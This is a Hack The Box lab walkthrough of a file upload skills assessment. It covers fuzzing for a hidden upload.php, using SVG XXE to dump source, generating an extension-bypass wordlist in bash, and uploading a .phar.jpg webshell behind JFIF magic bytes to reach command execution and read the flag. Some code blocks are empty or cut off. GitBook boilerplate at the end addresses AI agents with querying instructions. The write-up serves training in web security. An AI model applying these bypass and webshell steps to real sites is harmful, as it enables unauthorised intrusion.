> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/file-upload-attacks.md).
# File Upload Attacks
## Skills Assessment Walkthrough
> **HTB Module:** File Upload Attacks **Difficulty:** Hard **Goal:** Bypass multiple file upload validations β achieve RCE β capture the flag **Target:** E-commerce web application (154.x.x.x)
>
> 
***
### π Scenario
We're contracted to pentest a company's e-commerce web application that's in its early stages. Our focus is specifically on testing **file upload forms** for vulnerabilities that could lead to remote code execution.
### πΊοΈ Attack Chain
```
Recon β ffuf finds /contact/upload.php (hidden upload endpoint)
β SVG XXE to dump upload.php source code β understand filters
β SVG XXE to dump common-functions.php β understand file handling
β Analyze: blacklist (.php/.phps/.phtml), whitelist (image ext), content-type check
β Generate extension bypass wordlist β Intruder brute-force
β .phar.jpg bypasses all filters! (with JFIF magic bytes + webshell)
β Access uploaded shell at /user_feedback_submissions/YMD_cat.phar.jpg
β RCE as www-data β ls / β cat /flag β HTB{...} π΄
```
***
***
## Step 1 β Recon: Fuzzing for Hidden Endpoints
First confirm the backend β `/index.php` works, so it's **PHP**. Then fuzz the `/contact/` directory:
```bash
ffuf -ic -u http://154.57.164.75:32054/contact/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \
-e .php
```
Found files:
* `index.php` β main page
* `submit.php` β form submission
* **`upload.php`** β hidden upload endpoint! π― Not visible in the normal UI
> 
***
## Step 2 β SVG XXE: Reading upload.php Source Code
The upload endpoint isn't exposed in the UI, but we can trigger it manually. Craft a **POST request** in Burp to `/contact/upload.php` with a malicious **SVG file** containing an XXE payload to read the upload.php source code:
**SVG XXE payload (ahell.svg):**
```xml
]>
```
Set `Content-Type: image/jpg` in the multipart form data. The server processes the SVG with XML parsing enabled (`LIBXML_NOENT`), resolving our XXE entity and returning the base64-encoded source code.
> 
***
## Step 3 β Analyzing upload.php Source Code
After base64 decoding the response, we get the full `upload.php` source:
```php
***
## Step 4 β SVG XXE: Reading common-functions.php
Next, dump the `common-functions.php` referenced in the upload script. Same SVG XXE technique:
```xml
]>
```
> 
After decoding, we see the `displayHTMLImage()` function. It handles multiple image types (jpg, jpeg, png, gif, svg+xml). For SVG files, it uses `DOMDocument` with `LIBXML_NOENT | LIBXML_DTDLOAD` β **this is what makes the XXE possible!**
The function also reveals the 4 allowed content types: `image/jpg`, `image/jpeg`, `image/png`, `image/gif`.
> 
***
## Step 5 β Generate Extension Bypass Wordlist
Now we know the filters. We need an extension that:
1. β NOT in blacklist (`.php`, `.phps`, `.phtml`)
2. β Matches whitelist (`/^.+\.[a-z]{2,3}g$/`) β must end in 2-3 lowercase letters + `g`
3. β Apache will execute as PHP
`.phar` is NOT blacklisted, and `.phar.jpg` matches the whitelist! Generate a wordlist of extension bypass combinations:
```bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' 'β¦' ':'; do
for ext in '.php' '.phps' '.phtml' '.php5' '.phar' '.php3' 'php4' '.phpt' '.php8' '.php7'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell$ext$char" >> wordlist.txt
done
done
```
> 
***
## Step 6 β Burp Intruder: Extension Brute-Force
Load the wordlist into **Burp Intruder**. The request body contains:
* `Content-Type: image/jpeg` (to pass MIME check)
* **JFIF magic bytes** (`ΓΏΓΓΏΓ JFIF`) prepended before the PHP code (to pass `mime_content_type()` check)
* PHP webshell: ``
The filename position in the Intruder is set to the payload marker: `cat§.phar.jpg§`
> πΈ **Image 7** β Burp 
## Step 7 β Finding Working Extensions
Intruder results show several **200 OK** responses with different sizes. The key working extension is **`.phar.jpg`** β it:
1. β Passes blacklist (`.phar` not blocked)
2. β Passes whitelist (ends with `.jpg`)
3. β Apache treats `.phar` as executable PHP
The successful upload returns an `` tag with base64 data, confirming the file was accepted.
> 
## Step 8 β RCE: Accessing the Uploaded Shell
The uploaded file is at:
```
/contact/user_feedback_submissions/_cat.phar.jpg
```
Generate the correct YMD (year-month-day) prefix:
```bash
YMD=$(date +%y%m%d)
echo "Shell location: /contact/user_feedback_submissions/${YMD}_cat.phar.jpg"
# β 260930_cat.phar.jpg
```
Test RCE with `?cmd=id`:
```
http://154.57.164.76:30240/contact/user_feedback_submissions/260930_cat.phar.jpg?cmd=id
```
```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
**RCE confirmed!** π₯ Running as `www-data`.
> 
***
## Step 9 β Finding & Reading the Flag
List the root directory:
```
?cmd=ls /
```
```
bin boot dev etc flag_2b8f1d2da162... home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
```
Found flag file: `flag_2b8f1d2da162...`
> 
```
?cmd=cat /flag_2b8f1d2da162...
```
```
HTB{m4...}
```
**Flag captured!** π΄
> 
***
## π Pwned!
Hidden upload endpoint β SVG XXE source dump β filter analysis β .phar.jpg bypass with JFIF magic bytes β RCE β flag.
#### Bypass Summary
| Filter | How It Works | How We Bypassed It |
| ---------------- | --------------------------------------- | ----------------------------------- |
| **Blacklist** | Blocks `.php`, `.phps`, `.phtml` | Used `.phar` (not in blacklist) |
| **Whitelist** | Must end with `.[a-z]{2,3}g` | Used `.phar.jpg` (ends with `.jpg`) |
| **Content-Type** | Must be `image/*` | Set header to `image/jpeg` |
| **MIME check** | `mime_content_type()` must return image | Prepended JFIF magic bytes (`ΓΏΓΓΏΓ `) |
#### Tools Used
| Tool | Purpose |
| ----------- | -------------------------------------------------- |
| `ffuf` | Directory/file fuzzing β found hidden `upload.php` |
| Burp Suite | SVG XXE, Intruder extension brute-force |
| SVG + XXE | Dump PHP source code via `php://filter` |
| Bash script | Generate extension bypass wordlist |
| Browser | RCE via webshell, flag retrieval |
***
> **GG π΄** β SVG XXE source dump β .phar.jpg bypass (blacklist + whitelist + MIME) β JFIF magic bytes β RCE β flag.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/file-upload-attacks.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.